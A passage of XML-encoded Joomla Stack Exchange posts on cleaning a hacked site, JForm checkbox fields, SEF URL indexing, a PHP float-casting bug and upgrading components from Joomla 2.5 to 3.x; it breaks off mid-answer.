  <row Id="22417" PostTypeId="2" ParentId="22415" CreationDate="2018-02-14T11:20:48.447" Score="1" Body="&lt;p&gt;You can check the &lt;a href=&quot;https://vel.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;VEL&lt;/a&gt; to find out if any of your installed extensions have known vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Known vulnerabilities are generally patched as soon as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with any hacked website, you probably have three options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;restore from a known good backup, update Joomla and third party extensions to the latest versions and reset passwords&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rebuild the website from scratch with clean copies of Joomla and third party extensions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;find and fix the malware, update Joomla and third party extensions to the latest versions and reset passwords&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Option 3 is usually my preferred option and I tend to rely on mysites.guru (formerly myjoomla.com) to help find the malware and delete / overwrite files as necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember to check the virus protection on your computer or any other device that may be storing Joomla or hosting control panel passwords for your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://joomla.stackexchange.com/a/180/120&quot;&gt;http://joomla.stackexchange.com/a/180/120&lt;/a&gt; for more information on keeping a Joomla website secure.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T08:53:35.373" LastActivityDate="2019-09-07T08:53:35.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22419" PostTypeId="2" ParentId="22415" CreationDate="2018-02-14T13:08:53.207" Score="2" Body="&lt;p&gt;Finding the backdoor is indeed hard, but it not impossible. You will need to check all your logs, match the dates for each suspicious entry, until you find the root cause of the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, you should always run the latest version of Joomla, disable unused extensions, update your used extensions to the latest version, and protect your backend with an .htpasswd.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-02-14T13:08:53.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22420" PostTypeId="2" ParentId="22412" CreationDate="2018-02-14T13:22:30.040" Score="1" Body="&lt;p&gt;I really have no idea why people insist on using Akeeba Backups when you can just backup your website through a cron in cPanel/WHM (this is much more reliable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's go back to your question. What you can do is change the ownership and the permissions on the components folder to only allow Apache write access to specific components directories. Having said that, you cannot really do exactly what you want, which is allowing/disallowing access for a component on some specific directories, since components do not technically access directories, it is Apache (the webserver) that does that.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7867" LastEditDate="2018-02-14T19:35:04.540" LastActivityDate="2018-02-14T19:35:04.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22421" PostTypeId="2" ParentId="17829" CreationDate="2018-02-14T14:10:11.480" Score="2" Body="&lt;p&gt;Typically this happens when you have an .htaccess rule (possibly originally inserted for additional security) blocking access to the &lt;code&gt;restore.php&lt;/code&gt; file. We have written about this &lt;a href=&quot;https://www.itoctopus.com/ajax-loading-error-category-not-found-error-when-updating-a-joomla-website&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, one has to wonder, why does Joomla need access to the &lt;code&gt;restore.php&lt;/code&gt; file, which seems to be completely dedicated to Akeeba Backup, even when Akeeba Backup is not installed? Frankly, we haven't investigated the issue thoroughly (maybe Joomla needs a function from that file) - still, that file is an Akeeba specific file and it shouldn't be in the core.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-02-14T14:10:11.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22422" PostTypeId="2" ParentId="22410" CreationDate="2018-02-14T14:22:26.947" Score="1" Body="&lt;p&gt;You can do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$sql = &quot;UPDATE TableB SET TableB.value = (SELECT TableA.value FROM TableA WHERE TableA.name = TableB.name);&#xA;$db-&amp;gt;setQuery($sql);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7867" LastEditDate="2018-02-14T22:24:35.053" LastActivityDate="2018-02-14T22:24:35.053" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22423" PostTypeId="2" ParentId="22415" CreationDate="2018-02-14T16:05:31.370" Score="2" Body="&lt;p&gt;Having done a little research on your malicious code, I came across this article which states what the snippet is and how it will effect you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://adamfeuer.com/notes/2017/10/16/removing-and-blocking-monero-mining-wordpress-malware/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://adamfeuer.com/notes/2017/10/16/removing-and-blocking-monero-mining-wordpress-malware/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you may see the server using a tonne of resources, such as CPU and requests. It may not be Joomla or an extension that caused the issue, but a poorly configured server. If you're on shared hosting, you may have been affected by someone elses site being backed. You just never know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your server logs, contact your hosting company, ensure you're running the latest version of Joomla (currently 3.8.5) and all your extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal recommendation to monitor, scan and secure your site would be &lt;a href=&quot;https://myjoomla.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://myjoomla.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-02-14T16:05:31.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22424" PostTypeId="1" AcceptedAnswerId="22466" CreationDate="2018-02-14T18:00:52.603" Score="0" ViewCount="134" Body="&lt;p&gt;Sorry I am new to Joomla. I am trying to resolve an issue with the checkbox not updating on the module. I don't see any updating code specified in PHP, but somehow Joomla is updating it. Can someone shed some light in how it is doing so, and where to look into why it's not updating this field? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following field xml object that refers to the fields (partial), it's not updating the checkbox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;type_template&quot; type=&quot;Repeatable&quot; icon=&quot;list&quot; description=&quot;Specify Types of Donations&quot; label=&quot;Types&quot; default=&quot;&quot;&amp;gt;&#xA;  &amp;lt;fieldset hidden=&quot;true&quot; name=&quot;type_template_modal&quot; repeat=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;type&quot; type=&quot;PJSelect&quot; label=&quot;Type (PJ Code)&quot;/&amp;gt;&#xA;      &amp;lt;field name=&quot;amount&quot; type=&quot;text&quot; default=&quot;25,50,100,250&quot; label=&quot;Amounts&quot; description=&quot;Comma seperated list of the amounts&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;typeRecur&quot; type=&quot;checkbox&quot; default=&quot;0&quot; value=&quot;1&quot; label=&quot;Recurring?&quot; description=&quot;Check for recurring&quot;/&amp;gt;&#xA;          &amp;lt;field name=&quot;typeRecurLabel&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Recurring Label&quot;/&amp;gt;&#xA;          &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;      &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if you guys need additional details. Thanks&lt;/p&gt;&#xA;" OwnerUserId="11756" LastActivityDate="2018-02-24T13:07:54.620" Title="Jform checkbox not updating in a Module" Tags="|jform|fields|repeatable-field|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22425" PostTypeId="1" CreationDate="2018-02-15T02:37:45.020" Score="1" ViewCount="91" Body="&lt;p&gt;I'm trying to upgrade a website with overt 25,000 article from 2.5 to Joomla 3 and I'm having all kind of problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I tried upgrading with the update button and that just crashed everything. Now after installing a new J2.5 installation, using the old database, installed j2xml to export all articles and categories but, the damn thing is not even displaying all articles, it just shows a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to export the tables MANUALLY with mysqldump? I noticed J2.5 and J3 content table differs so, couldn't do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please guide me into the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced for your time.&lt;/p&gt;&#xA;" OwnerUserId="12239" LastActivityDate="2018-02-15T13:01:49.353" Title="Frustrating upgrade J2.5 to J3 not working" Tags="|joomla-3.x|joomla-2.5|upgrade|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22426" PostTypeId="2" ParentId="22425" CreationDate="2018-02-15T04:21:20.950" Score="3" Body="&lt;p&gt;I am a big fan of SP Transfer.  You can migrate over the database table pretty easily that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.kainotomo.com/products/sp-transfer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.kainotomo.com/products/sp-transfer&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-02-15T04:21:20.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22427" PostTypeId="2" ParentId="22388" CreationDate="2018-02-15T08:48:07.233" Score="0" Body="&lt;p&gt;You want to have a &lt;strong&gt;nice looking main category page that has&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title and category description for parent category;&lt;/li&gt;&#xA;&lt;li&gt;title and list of articles from subcategory 1;&lt;/li&gt;&#xA;&lt;li&gt;title and list of articles from subcategory 2;&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I can recommend a very flexible method&lt;/strong&gt; that I use. It provides many configuration options for your needs. It's implied that categories and subcategories and articles in them are already there on your site.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Create a menu item (category blog) for your parent category&lt;/strong&gt;. &#xA;In the menu item parameters set to display only title and category   description. In Blog Layout tab, put zero for all article fields.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Take a &lt;a href=&quot;https://www.raxo.org/raxo-all-mode-pro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;content module with wide functionality like RAXO All-mode PRO&lt;/a&gt;. Set the module to display articles from subcategory 1, and adjust all the other settings - thumbnail size, ordering by date or by popularity, etc.&#xA;&lt;strong&gt;Assign the module to this menu item&lt;/strong&gt; and place it in a appropriate module position.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Make a copy of this module&lt;/strong&gt;. Go to its settings and change only one thing - show articles from subcategory 2.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat step 3 as many times as you need to fill in the category page. &#xA;Here you can create module blocks like &quot;popular in this category&quot;, &quot;latest news&quot;, &quot;most commented articles&quot;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6925" LastActivityDate="2018-02-15T08:48:07.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22428" PostTypeId="2" ParentId="22425" CreationDate="2018-02-15T13:01:49.353" Score="1" Body="&lt;p&gt;You don't need to make a new site. You can just update by following these steps - Video by Brian Teemann on &lt;a href=&quot;https://www.siteground.com/tutorials/joomla-video/upgrade-introduction/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Siteground&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2018-02-15T13:01:49.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22429" PostTypeId="2" ParentId="22399" CreationDate="2018-02-15T17:51:42.517" Score="1" Body="&lt;p&gt;When the Virtuemart plugin has a second folder with the same name in it, then it is using the overridable pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy this second folder to:&#xA;/templates/[yourtemplate]/html/[plugin-group]/[plugin-name]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the right path would be:&#xA;/templates/[yourtemplate]/html/vmpayment/standard/post_payment.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Official Documentation: &lt;a href=&quot;https://docs.virtuemart.net/tutorials/templating-layouts/101-how-to-overwrite-plugins.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to overwrite plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6925" LastActivityDate="2018-02-15T17:51:42.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22430" PostTypeId="1" AcceptedAnswerId="22431" CreationDate="2018-02-16T01:02:08.153" Score="3" ViewCount="835" Body="&lt;p&gt;I am new to joomla and maintening a developed website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I know the size of entire website that include database and all the file used in joomla.&lt;/p&gt;&#xA;" OwnerUserId="12242" LastActivityDate="2018-02-16T01:33:00.217" Title="How to determine the size of your entire joomla website from joomla admin panel" Tags="|joomla-3.x|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22431" PostTypeId="2" ParentId="22430" CreationDate="2018-02-16T01:33:00.217" Score="3" Body="&lt;p&gt;This information is not available through the Joomla admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using cPanel&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get this information very easily using cPanel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following answer is based on a standard cPanel setup for a single Joomla site. If you have multiple Joomla sites on the same hosting account (e.g. under addon domains), you'll have to adjust these steps accordingly for the file folder under which your specific Joomla account is setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most cPanels, under the Stats section, will have your (total) Disk Space usage for that particular hosting account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a breakdown of sizes for the MySQL database and Joomla files used, follow these steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cPanel, under 'Databases,' if you click on 'MySQL Databases,' you'll get the size of the particular database attached to the Joomla site in question (this is handy especially if you run multiple Joomla sites (hence multiple MySQL databases)) on the same hosting account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in cPanel, under 'Files,' if you click on 'Disk Space Usage,' you can get a breakdown of file size by folder. Look for the 'public_html' folder and this will give you the size of the web site as per disk space used on your hosting account. (This assumes that you have not placed files that belong to your Joomla site above the 'public_html' directory), or have additional Joomla sites setup under subdirectories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add up the file size of the MySQL DB, and the file size of public_html, you and you will get the total size of the entire web site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using WHM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a hosting reseller account, you'll likely have WHM, from which you set up new hosting accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a standard setup of 1 hosting account per Joomla site, then you can get the total size on disk used by that particular hosting account, including the related database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, simply go to 'Account Functions,' select 'Modify Account,' and select the account which hosts your Joomla site. This will provide you with 'Disk Usage' data for that account (including the Joomla files and MySQL DB). However, this also includes files on your hosting account not used by your Joomla site, unless of course, you've deleted those.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2018-02-16T01:33:00.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22434" PostTypeId="1" CreationDate="2018-02-16T11:22:09.463" Score="2" ViewCount="76" Body="&lt;p&gt;Just noticed that if I search for blog post titles in Google, I get both SEF and non-SEF results shown. It only appears to happen to articles that don't have a menu item. Has anyone else experienced this? and moreover, what can I do to prevent it from happening? Cheers, Philip &lt;a href=&quot;https://i.stack.imgur.com/K9X4v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K9X4v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's more, the non-SEF url does not work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! 3.8.5&#xA;PHP 7.0.27&lt;/p&gt;&#xA;" OwnerUserId="8460" LastEditorUserId="8460" LastEditDate="2018-02-16T12:35:18.713" LastActivityDate="2018-02-20T18:59:47.250" Title="Search engines indexing blog items with both SEF urls and non-SEF urls" Tags="|joomla-3.x|sef|non-sef-url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22436" PostTypeId="2" ParentId="22424" CreationDate="2018-02-16T22:12:02.347" Score="0" Body="&lt;p&gt;This probably isn't the solution but the first thing I'm seeing is a number of unnecessary &lt;code&gt;&amp;lt;/field&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/fieldset&amp;gt;&lt;/code&gt; elements. Any xml element that ends with a front-slah before the closing bracket (eg, &lt;code&gt;&amp;lt;field ... /&amp;gt;&lt;/code&gt;) does not need a closing element (&lt;code&gt;&amp;lt;/field&amp;gt;&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the unnecessary fields removed and the indentation fixed your jform xml should look more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;type_template&quot; type=&quot;Repeatable&quot; icon=&quot;list&quot; description=&quot;Specify Types of Donations&quot; label=&quot;Types&quot; default=&quot;&quot;&amp;gt;&#xA;  &amp;lt;fieldset hidden=&quot;true&quot; name=&quot;type_template_modal&quot; repeat=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;type&quot; type=&quot;PJSelect&quot; label=&quot;Type (PJ Code)&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;amount&quot; type=&quot;text&quot; default=&quot;25,50,100,250&quot; label=&quot;Amounts&quot; description=&quot;Comma seperated list of the amounts&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;typeRecur&quot; type=&quot;checkbox&quot; default=&quot;0&quot; value=&quot;1&quot; label=&quot;Recurring?&quot; description=&quot;Check for recurring&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;typeRecurLabel&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Recurring Label&quot;/&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check if correcting that has any effect.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2018-02-16T22:12:02.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22437" PostTypeId="2" ParentId="22434" CreationDate="2018-02-16T22:30:11.210" Score="1" Body="&lt;p&gt;Three tips that I use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Make sure you have a sitemap that's submitted to Google Webmaster Tools (and Bing's Webmaster Tools as well) and make sure that this sitemap is using all the correct URLs and non of the incorrect ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Add a plugin to Joomla that allows you to set (or have it be set automatically) a canonical meta element for your articles. Google and other sites will use that canonical value while indexing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Periodically check Webmaster Tool for links that didn't get corrected from those first two tips. For any you find, set up a permanent redirect (ie, HTTP Code 301 redirect) from the non-SEF URL to the permalink/correct URL. Once Google starts hitting the redirect it'll update its index to go to the new location instead of the old one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What's more, the non-SEF url does not work&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is because it's loading that article through your &quot;homepage&quot; menu item (because no other Itemid is set). Your template happens to be set up so that when the template is loading the homepage the template does not attempt to load the Joomla &quot;component&quot; block (ie, there is no &lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&lt;/code&gt; set). Without the &quot;component&quot; block you're not going to see your article on the page.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2018-02-20T18:59:47.250" LastActivityDate="2018-02-20T18:59:47.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22439" PostTypeId="2" ParentId="22434" CreationDate="2018-02-17T06:34:00.460" Score="1" Body="&lt;p&gt;You have to add canonical link - the prefered URL.&#xA;You can use an extesion like RSSeo from RSJoomla or just do it with override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Robert Went has a post - in english, where you can see how to use the &lt;a href=&quot;https://www.robertwent.com/blog/using-joomla-custom-fields-add-canonical-urls/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Custom Fields to add Canonical URLs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a more detailed post on &lt;a href=&quot;https://klintwebdesign.dk/min-blog/tips-tricks/407-canonical-med-joomla-custom-fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;My Blog&lt;/a&gt;. It's danish, but you can let Chrome translate it.&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2018-02-17T06:34:00.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22441" PostTypeId="1" AcceptedAnswerId="22908" CreationDate="2018-02-17T14:45:35.093" Score="0" ViewCount="38" Body="&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;intro_items as $key =&amp;gt; &amp;amp;$item) {&#xA;    $this-&amp;gt;item = &amp;amp;$item;&#xA;    echo $this-&amp;gt;loadTemplate('item');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to change the template used for specific items in the &lt;code&gt;foreach&lt;/code&gt; statement. The first 2 &lt;code&gt;$item&lt;/code&gt;s should use template A, then switch to template B for &lt;code&gt;$item&lt;/code&gt;s 3,4.  Then back to template A.  &lt;/p&gt;&#xA;" OwnerUserId="12246" LastEditorUserId="168" LastEditDate="2018-02-18T15:06:50.193" LastActivityDate="2018-05-28T16:44:47.390" Title="different templates based on $item number" Tags="|php7|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22442" PostTypeId="1" CreationDate="2018-02-17T18:45:40.650" Score="0" ViewCount="52" Body="&lt;p&gt;I am using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('name')&#xA;    -&amp;gt;from ('#__gruposlocales');&#xA;$query-&amp;gt; where('latitudX = ' . (int) $lat);&#xA;$resu = $db-&amp;gt;loadObject();&#xA;$gro=$resu-&amp;gt;name;&#xA;echo &quot;&amp;lt;p&amp;gt;Gruposs: $gro&amp;lt;/p&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;$lat&lt;/code&gt; is a variable from a previous code and its value is &lt;code&gt;-0.180653&lt;/code&gt;. The code doesn't work; it shows nothing after &quot;Gruposs&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use &lt;code&gt;$query-&amp;gt; where('latitudX = -0.180653');&lt;/code&gt; instead, the code works perfectly, showing a name. If in the upper code, I use &lt;code&gt;echo &quot;&amp;lt;p&amp;gt;Gruposs: $lat&amp;lt;/p&amp;gt;&quot;;&lt;/code&gt; it shows &lt;code&gt;-0.180653&lt;/code&gt;, telling me that the &lt;code&gt;$lat&lt;/code&gt; variable is being passed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the same code syntax in a previous part of my code with a different table and a variable in the &quot;where&quot; statement and it works perfectly. Why doesn't my code work with the &lt;code&gt;$lat&lt;/code&gt; variable in the &quot;where&quot; statement?&lt;/p&gt;&#xA;" OwnerUserId="12232" LastEditorUserId="11451" LastEditDate="2018-02-18T15:07:41.923" LastActivityDate="2018-02-18T15:07:41.923" Title="Why my code doesn't work?" Tags="|php|mysql|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22443" PostTypeId="2" ParentId="22442" CreationDate="2018-02-17T19:52:02.900" Score="2" Body="&lt;p&gt;(int) creates an integer, so &lt;code&gt;(int) $lat&lt;/code&gt; will remove the bit after the decimal point, ie it will equal 0.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;(float) $lat&lt;/code&gt; instead if you want to convert a string to a floating point number.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-02-17T19:52:02.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22444" PostTypeId="1" CreationDate="2018-02-17T20:10:53.583" Score="0" ViewCount="129" Body="&lt;p&gt;I'm trying to convert a component from Joomla 2.5 to 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin component controller has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PatientinvoicesModelPatientinvoices extends JModelLegacy {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I have the view controller&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PatientinvoicesControllerPatientinvoices extends JControllerAdmin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PatientinvoicesModelPatientinvoices extends JModelLegacy {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;finally I have the view.html which has&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PatientinvoicesViewPatientinvoices extends JView&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought that changing to this would allow it to work. I guess I'm missing something. Can someone suggest how I can debug it to figure out what the issue is? (I'd be happy to add more code for any of it if it would help)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've now also changed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PatientinvoicesViewPatientinvoices extends JViewLegacy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of just JView  (didn't fix it though :(&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2018-02-17T22:05:35.320" LastActivityDate="2018-02-19T10:34:11.873" Title="converting component from Joomla 2.5 to 3.x" Tags="|joomla-api|administrator|custom-component|" AnswerCount="1" CommentCount="1" ClosedDate="2018-03-19T13:06:43.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="22445" PostTypeId="2" ParentId="22444" CreationDate="2018-02-19T10:34:11.873" Score="0" Body="&lt;p&gt;I spent my weekend working this out so hopefully it'll help someone else when they look.  Once you know what to look for and what to change it's quite mechanistic.  There are really only a few things that need changed.  But it's hard to find it all set out in one place and easy to keep trying different combinations.  If you follow these rules then it should work without too much extra debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me the key was only changing the extension of the class even although it was tempting to adjust lots of the code!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Upgrading from version 2.5 to 3.x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m assuming the component is already installed and that it worked on 2.5.  I was upgrading a site to 3.8 so I upgraded the site and then came back to upgrade the component (this might not work in your case especially if a 2.5 component has plugins and aren't compatible with 3.x - in that case I suggest delete the plugins and sort it out once the upgrade to Joomla is complete).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the root of the component and find the &lt;strong&gt;componentname.php&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be a line which has JController  this needs changed to &lt;strong&gt;JControllerLegacy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$controller   = JControllerLegacy::getInstance(‘RelevantView’);&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next go the the &lt;strong&gt;controller.php&lt;/strong&gt; (also in the root)  change the class to be extended  &lt;strong&gt;JControllerLegacy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;class ComponentNameController extends JControllerLegacy {&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have &lt;strong&gt;sub controllers&lt;/strong&gt; ( in a controllers folder)  you need to make sure that the extension of the class is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;list view JControllerAdmin&lt;/strong&gt;&#xA;For &lt;strong&gt;single view  JControllerForm&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next go to the 